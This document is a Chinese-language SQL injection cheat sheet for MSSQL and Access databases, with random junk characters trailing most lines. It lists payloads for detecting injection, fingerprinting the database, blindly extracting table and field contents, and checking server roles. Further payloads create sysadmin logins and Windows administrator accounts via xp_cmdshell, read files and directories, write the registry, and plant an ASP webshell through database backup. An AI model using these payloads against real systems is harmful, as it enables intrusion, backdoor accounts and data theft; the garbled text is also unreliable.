1.判断是否有注入;and 1=1 ;and 1=2 Sz1 J4$5
2.初步判断是否是mssql ;and user>0 Jx`7W1%T
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3.注入参数是字符'and [查询条件] and ''=' }jWg&<5+z
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' i 2uSPV!Tf
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5.判断数据库系统 w&VDe(:~
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;and (select count(*) from sysobjects)>0 mssql f;,*P,K
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;and (select count(*) from msysobjects)>0 access f$dIPt(
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 akCCpnX_d
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Wy/h"R\=
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 cdSgb3B0
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9.(1)猜字段的ascii值(access) EaL>~:j
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Pl`Nniy
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(2)猜字段的ascii值(mssql) eC6wrpZO
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 *1_Ef).
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10.测试权限结构(mssql) #@1(
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Y5"HKW^
# M!1W5#
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7+X~i@#rU
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- N:+d=G`x
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- JZ:yPvJ
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- >XM]UdP
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- *_}0vd
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;and 1=(select IS_MEMBER('db_owner'));-- pW>{7pXn
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11.添加mssql和系统的帐户 F>X<=YO0
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;exec master.dbo.sp_addlogin username;-- fl2XI=[v4
;exec master.dbo.sp_password null,username,password;-- Y
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;exec master.dbo.sp_addsrvrolemember sysadmin username;--
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;exec master.dbo.xp_cmdshell 'net user username password )t\aB_ =
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- M,bs`amz
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- =]"I0G-s!
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- [9NrPm3d
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12.(1)遍历目录 &,{YfAxQ`
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;create table dirs(paths varchar(100), id int) \ a(ce?C
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;insert dirs exec master.dbo.xp_dirtree 'c:\' iy]?j$B$
(-&d0a9N
;and (select top 1 paths from dirs)>0 hv\Dz*XTs0
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) YV@efPy}n
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(2)遍历目录 mF jM6pmo
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
@';.$
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Aq3\Q>klH)
6h %rt]g
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 wp>
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 *vvm8ik
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4udj"-V
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13.mssql中的存储过程 LNHi}P~
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xp_regenumvalues 注册表根键, 子键 i27)c)\BM
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Qh-:P`CN
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xp_regread 根键,子键,键值名 Dh?I
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;exec xp_regread 4i^WE;|s
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 W-/V5=?
u*,>$(-u
xp_regwrite 根键,子键, 值名, 值类型, 值 )58~2vR
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 N3@[95
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 MtN!Xx
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xp_regdeletevalue 根键,子键,值名 cF8 X
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 |\G^:V[.
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 %b4tyX:N0
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14.mssql的backup创建webshell /wt7KL-I
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use model 4K?
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create table cmd(str image); iR88L&U>
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insert into cmd(str) values (''); Qr4 D
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backup database model to disk='c:\l.asp'; 83gWA>Odh
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15.mssql内置函数 NMf#0Nz-
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;and (select @@version)>0 获得Windows的版本号 1# z@D(
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa nw%`CnzT
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;and (select user_name())>0 爆当前系统的连接用户 gkA_<,38
+{V`{'
;and (select db_name())>0 得到当前连接的数据库 >$E;."a
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16.简洁的webshell g,]m8%GHE
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use model tH.L_< N
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create table cmd(str image); DF4CB#
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insert into cmd(str) values (''); PM#3N2?|E
/WE\0bf
backup database model to disk='g:\wwwtest\l.asp';